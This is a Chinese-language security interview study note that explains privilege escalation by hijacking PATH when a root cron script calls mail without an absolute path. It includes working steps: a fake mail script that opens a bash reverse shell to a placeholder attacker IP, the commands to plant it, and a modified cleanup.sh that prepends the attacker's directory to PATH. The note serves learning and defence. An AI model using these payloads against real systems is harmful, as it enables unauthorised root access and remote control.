Files
Sec-Interview/Chapter15/15-32.md
T
2025-10-13 01:33:07 +08:00

74 lines
3.4 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权
**攻击原理:滥用 `PATH` 环境变量**
这个漏洞利用的核心在于 **`PATH` 环境变量的优先级**
1. **`PATH` 的作用:** 在 Linux 系统中,当用户执行一个未指定绝对路径的命令(如 `mail``ls`)时,系统会按照 `PATH` 环境变量中列出的目录顺序,从左到右进行搜索,找到第一个匹配的同名可执行文件并运行
2. **`root` 用户的 `PATH`** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin``/usr/local/bin``/usr/sbin``/usr/bin` 等系统目录
3. **漏洞利用:** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量,将一个我们具有写入权限的目录(例如 `/tmp``/home/user/bin`)添加到搜索路径的**最前面**,那么系统就会优先执行我们在这个目录中创建的**恶意程序**,而不是真正的 `/usr/bin/mail`
4. **最终目标:** 我们将创建一个名为 `mail` 的恶意可执行文件,它真正的作用是执行我们的提权命令(获取一个 Root Shell)
****
**攻击载荷的构造与放置**
攻击的核心是创建一个名为 `mail` 的恶意可执行文件,并确保它能被 Root 用户的 `cron` 任务找到并执行
**1. 构造恶意 Payload**
我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell**
**文件内容:**
```bash
#!/bin/bash
# 1. 执行反弹 Shell 命令
# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &
# 2. (可选)执行真正的 mail 命令以避免 cron 任务报错
# 这样做能让管理员和脚本看起来一切正常。
# /usr/bin/mail -s "Status" $USER
```
**2. Payload 放置位置**
我们选择一个我们有写入权限的目录,并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中
**策略 A:修改用户级的 `PATH` 变量(针对 `cron` 任务)**
许多系统的 `cron` 守护进程在执行任务时,不会加载完整的用户环境变量文件(如 `.bashrc``.profile`),而是使用一个最小化的、硬编码的 `PATH`。因此,我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖**
步骤 1:创建 Payload 和目录
假设我们在自己的家目录中创建这个目录和文件:
```bash
mkdir -p /home/user/bin
# 写入恶意 Shell 脚本
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
# 赋予执行权限
chmod +x /home/user/bin/mail
```
步骤 2:劫持 `cleanup.sh` 脚本的 `PATH`(必需)
我们必须修改 `/home/user/cleanup.sh`,在执行 `mail` 命令之前,强制将我们的恶意目录添加到 `PATH` 的最前面
修改后的 `/home/user/cleanup.sh` 脚本内容:
```bash
#!/bin/bash
# 【!!! 攻击载荷:添加恶意目录到 PATH 最前面 !!!】
export PATH="/home/user/bin:$PATH"
# 脚本中的其他命令 (都使用了绝对路径,不受影响)
/bin/some/command
/bin/another/command
# 原始命令:系统现在会优先找到 /home/user/bin/mail 并执行
echo "Cleanup started" | mail -s "Status" $USER
```